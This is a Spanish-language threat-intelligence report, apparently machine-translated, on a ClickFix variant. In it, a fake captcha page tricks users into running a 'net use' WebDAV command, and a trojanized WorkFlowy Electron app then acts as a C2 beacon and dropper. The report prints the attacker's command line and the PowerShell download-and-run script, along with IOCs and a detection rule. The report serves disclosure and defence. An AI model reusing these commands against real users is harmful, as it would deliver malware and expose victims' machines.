Descargo de responsabilidad : Este informe ha sido preparado por el Centro de Investigación de Amenazas para mejorar la conciencia sobre la ciberseguridad y apoyar el fortalecimiento de las capacidades de defensa. Se basa en investigaciones independientes y en observaciones del panorama actual de amenazas disponibles en el momento de la publicación. El contenido está destinado únicamente a fines informativos y de preparación.

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield

Resumen

Los investigadores de Atos identificaron una nueva variante de la popular técnica ClickFix, en la que los atacantes convencen al usuario de ejecutar un comando malicioso en su propio dispositivo a través del acceso directo Win + R. En esta variante, se utiliza el comando «net use» para mapear una unidad de red desde un servidor externo, tras lo cual se ejecuta un archivo por lotes «.cmd» alojado en esa unidad. El script descarga un archivo ZIP, lo desempaqueta y ejecuta la aplicación WorkFlowy legítima con una lógica maliciosa modificada oculta en el archivo «.asar». Actúa como una baliza C2 y un cuentagotas para la carga final de malware.

Figura 1: Descripción general de alto nivel del flujo de ataques.

Descripción general del ataque

En esta versión, el vector de ataque inicial es el mismo que en todas las demás, una página web que se hace pasar por un mecanismo de captcha: «happyglamper [.] ro». Pide al usuario que abra la aplicación Run mediante «Win+R», seguido de «Ctrl+V» y «Enter»

Figura 2: Sitio web de suplantación de identidad 1
Figura 3: Sitio web de suplantación de identidad 2

Esto ejecuta el siguiente comando:

«cmd.exe» /c net use Z: http://94.156.170[.]255/webdav /persistent:no && «Z:\update.cmd» & net use Z: /delete

Normalmente, en esta fase, los atacantes han utilizado PowerShell o mshta para descargar y ejecutar la siguiente fase del malware. En cambio, aquí podemos ver que el «uso de red» se utiliza para mapear y conectarse a una unidad de red de un servidor externo desde la que se ejecuta un script por lotes. Aunque no son novedosos, estos TTP nunca se habían visto antes en los ataques de ClickFix. Si a esto le sumamos que los adversarios tienen más probabilidades de eludir los controles defensivos y pasar desapercibidos para los enemigos, las fases poco comunes de los patrones de infección son mayores.

En este caso, la variante ClickFix observada del flujo de ejecución evitó correctamente la detección de Microsoft Defender for Endpoint. Los equipos de seguridad de Atos solo pudieron detectarla gracias al servicio interno de búsqueda de amenazas, que se centraba en el principal aspecto conductual de la técnica ClickFix: la ejecución inicial mediante la clave de registro RunMRU ( consulta de caza disponible en la sección Apéndice ).

El script de ejecución inicial «update.cmd» se carga desde la unidad asignada y se ejecuta; después, se elimina la unidad asignada. Contenido de «update.cmd»:

iniciar «» /min powershell -WindowStyle Hidden -Comando «Invoke-WebRequest 'http://94.156.170[.]255/flowy.zip' -outFile\" $env:temp\ dl.zip\»;
Expand-Archive\ "$env:Temp\ dl.zip\» -DestinationPath\ "$env:LocalAppData\ MyApp\» -Force;
Proceso de inicio\ "$env:LocalAppData\ MyApp\ WorkFlowy.exe\"»

Esto genera una instancia de PowerShell que descarga un archivo zip y lo extrae al directorio «%LOCALAPPDATA%\ MyApp\». A continuación, ejecuta el binario «WorkFlowy.exe».

Figura 4: Contenido del archivo flowy.zip

Análisis WorkFlowy

El archivo contiene una aplicación de escritorio WorkFlowy (versión 1.4.1050), firmada por el desarrollador «FunRoutine Inc.», distribuida como un paquete de aplicaciones Electron. Las aplicaciones de Electron se escriben con tecnologías web populares (HTML, CSS y JavaScript) y utilizan archivos «.asar» para empaquetar el código fuente durante el empaquetado de la aplicación. Esto se hace por varios motivos, como mitigar los problemas relacionados con los nombres de ruta largos en Windows. El código malicioso se inyectó en main.js, el punto de entrada Node.js de la aplicación, oculto dentro del archivo app.asar.

Perfil técnico

Propiedad Valor
Aplicación objetivo Escritorio WorkFlowy (Electron)
Versión maliciosa 1,41050
Archivo malintencionado recursos/app.asar → /main.js
Dominio C2 cloudflare.report/forever/e/
IP de origen C2 144 [.] 31 [.] 165 [.] 173 (Fráncfort, AS215439 play2go.cloud)
Dominio registrado Enero de 2026, registrante de Hong Kong, registrador en línea de NIC
Archivo de identificación de víctima %APPDATA%\ id.txt
Puesta en escena con gotero %TEMP%\ [marca de tiempo de unix]\

Vector de infección

El archivo ASAR malicioso es un reemplazo directo de los recursos/app.asar legítimos. El atacante volvió a empaquetar una versión anterior de la aplicación (la 1.4 frente a la versión 4.3 actual) con código inyectado.

Figura 5: Contenido del subdirectorio «resources»

Código malintencionado (Dropper/Beacon)

Cuando se ejecuta WorkFlowy, busca el archivo app.asar en la ruta relativa codificada en el binario. A continuación, lee el archivo main.js desde su interior, lo decodifica para convertirlo en una cadena y lo analiza en el motor V8 integrado de JavaScript de Google, que lo ejecuta. Los atacantes han sustituido el main.js legítimo por uno creado por ellos mismos. En lugar de utilizar scripts bien estructurados, han utilizado una estructura en línea muy confusa, añadiendo código malintencionado al código legítimo, garantizando que se ejecute primero y bloqueando la funcionalidad de WorkFlowy.

El código malintencionado contiene varias funciones críticas:

  1. El malware se ejecuta antes de que se inicie la aplicación legítima: El IIFE inyectado se abre con await f (), el bucle de baliza C2 infinito. Como f () nunca se resuelve, todo el código legítimo de inicialización de WorkFlowy que aparezca a continuación se bloquea permanentemente. El malware se ejecuta con todos los privilegios de Node.js inmediatamente después de su lanzamiento.
  2. Toma de huellas dactilares persistentes de la víctima mediante %APPDATA%\ id.txt: Se genera un identificador alfanumérico aleatorio de 8 caracteres en la primera ejecución y se escribe en %APPDATA%\ id.txt. En las siguientes ejecuciones, se vuelve a leer el ID almacenado, lo que proporciona al atacante un identificador estable para cada máquina víctima en cada sesión.
  3. Baliza C2: filtra la identidad del host cada 2 segundos: La función u () envía un HTTP POST que contiene la identificación única de la víctima, el nombre de la máquina y el nombre de usuario de Windows al servidor C2. El bucle en f () repite esto indefinidamente con un intervalo de 2 segundos.
  4. Descarga y ejecución remotas de cargas útiles: La función p () recibe un objeto de tarea del C2, decodifica el contenido del archivo codificado en base64, lo escribe en un directorio con fecha y hora en %TEMP% y ejecuta cualquier archivo .exe mediante child_process.exec.

Si no se establece la conexión C2, no se generan archivos ni directorios. En el momento de realizar este análisis, el dominio C2 ya no respondía.

Por qué el electrón es un mecanismo de entrega eficaz

El código malintencionado se ejecuta en el proceso principal de Node.js (fuera del entorno limitado de Chromium) con todos los privilegios del usuario que ha iniciado sesión, lo que permite que el código malintencionado ejecute cualquier acción que el usuario pueda realizar en el sistema. En realidad, no se graba ningún archivo en el disco y, dado que la carga maliciosa está empaquetada en el archivo «.asar», también ayuda a ocultar el código malintencionado.

Persistencia

No se implementa ninguna persistencia a nivel del sistema operativo mediante el cuentagotas. La baliza solo funciona mientras WorkFlowy está abierto. El único artefacto escrito en el disco antes de la siguiente fase de entrega es %APPDATA%\ id.txt (identificador de seguimiento de la víctima), y solo si la conexión con C2 se ha establecido correctamente. Presumiblemente, la persistencia a nivel del sistema operativo se delega en cualquier carga útil que el C2 entregue mediante el cuentagotas.

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield

Conclusiones clave

Esta variante de ClickFix es importante porque aleja el acceso inicial de los motores de ejecución y secuencias de comandos de los que se suele abusar, como PowerShell, MSHTA y WScript, y, en cambio, se basa en el uso de la red para abusar de WebDAV como mecanismo de entrega. Las campañas anteriores de ClickFix solían salir a la luz invocando directamente a intérpretes o a sistemas binarios tradicionales, que las soluciones modernas de EDR supervisan minuciosamente. Por el contrario, esta iteración monta un recurso compartido WebDAV remoto como una unidad local, ejecuta un archivo por lotes alojado siguiendo la semántica estándar del sistema de archivos y elimina la asignación inmediatamente después de su uso. Esto demuestra que ClickFix sigue evolucionando, ampliando su arsenal de métodos de ejecución mediante proxy y empezando a utilizar utilidades de red nativas.

La lógica maliciosa se oculta al reemplazar el contenido del archivo app.asar de la aplicación Workflowy por una versión troyanizada de main.js. Como el código se ejecuta dentro del proceso principal de Electron y permanece empaquetado en una aplicación legítima, se evitan muchas detecciones basadas en archivos y de comportamiento que se centran en cargadores o intérpretes de scripts independientes. Los archivos ASAR rara vez se inspeccionan, lo que permite que la lógica del dropper se ejecute durante el inicio normal de la aplicación con una visibilidad mínima.

Los controles de seguridad no detectaron esta actividad y solo se identificó mediante la búsqueda de amenazas específicas en Atos. La detección se basó en analizar el contexto de ejecución en lugar de analizar los indicadores de carga útil, específicamente en detectar la ejecución sospechosa de comandos que se originaban en el cuadro de diálogo de ejecución del Explorer (registrado en la clave de registro RunMRU). Esto subraya la creciente importancia de la búsqueda de amenazas como mecanismo de detección complementario: a medida que las campañas de ClickFix se decantan por utilidades nativas y aplicaciones confiables que generan pocas alertas, solo la búsqueda proactiva y basada en hipótesis puede ayudar a detectar estas señales débiles con la suficiente antelación como para interrumpir la cadena de ataque.

Apéndices

IOC

Dominio informe cloudflare [.]
Dominio happyglamper [.] ro
IP 94 [.] 156 [.] 170 [.] 255
IP 144 [.] 31 [.] 165 [.] 173
URL https://cloudflare[.]report/forever/e/
Expediente %APPDATA%\ id.txt
Ruta %TEMP%\ [Marca de tiempo de 13 dígitos]\
SHA256 a390fe045f50a0697b14160132dfa124c7f92d85c18fba07df351c2fcfc11063 (app.asar)
SHA256 9ee58eb59e337c06429ff3f0afd0ee6886b0644ddd4531305b269e97ad2b8d42 (WorkFlowy.exe: versión anterior del binario legítimo, no maliciosa)
SHA256 dc95f7c7fb98ec30d3cb03963865a11d1b7b696e34f163b8de45f828b62ec829 (main.js)

Consulta de caza

  • título: Comandos sospechosos ejecutados mediante el cuadro de diálogo Ejecutar
  • identificación: 20891a30-032e-4f15-a282-fa4a8b0d8aae
  • estado: experimental
  • descripción:
  • Detecta los intérpretes de comandos y los LOLBins sospechosos escritos en la clave de registro RunMRU de Explorer (que se usa comúnmente para el historial de cuadros de diálogo de ejecución), con explorer.exe como proceso de inicio.
  • autor: TRC
  • fecha: 2026-03-05
  • etiquetas:
  • - ataque.ejecución
  • - ataque.1059
  • - ataque_evasión
  • origen de registro:
  • categoría: registry_set
  • producto: windows
  • definición: «Sysmon Event ID 13 (conjunto de valores de registro) o telemetría de registro EDR equivalente»
  • detección:
  • clave_selección:
  • Objeto de destino | Contiene: '\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Explorer\ RunMRU'
  • proceso de selección:
  • Imagen | Termina con: '\ explorer.exe'
  • datos_de selección:
  • Detalles|Contiene:
  • - 'cmd'
  • - 'powershell '
  • - 'cmd.exe'
  • - 'powershell.exe'
  • - 'wscript.exe'
  • - 'cscript.exe'
  • - 'net.exe'
  • - 'net1.exe'
  • - 'sh.exe'
  • - 'bash.exe'
  • - 'schtasks.exe'
  • - 'regsvr32.exe'
  • - 'hh.exe'
  • - 'wmic.exe'
  • - 'mshta.exe'
  • - 'rundll32.exe'
  • - 'msiexec.exe'
  • - 'forfiles.exe'
  • - 'scriptrunner.exe'
  • - 'mftrace.exe'
  • - 'AppVLP.exe'
  • - 'svchost.exe'
  • - 'msbuild.exe'
  • condición: selection_key y selection_proc y selection_data
  • falsos positivos:
  • - «Actividad administrativa legítima mediante el cuadro de diálogo Ejecutar (Win+R) para ejecutar las herramientas integradas».
  • - «Secuencias de comandos de TI o pasos de solución de problemas ejecutados de forma interactiva por un usuario».
  • nivel: medio

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield

¿Te ha parecido interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en Noticias de Google , Twitter y LinkedIn para leer más contenido exclusivo que publicamos.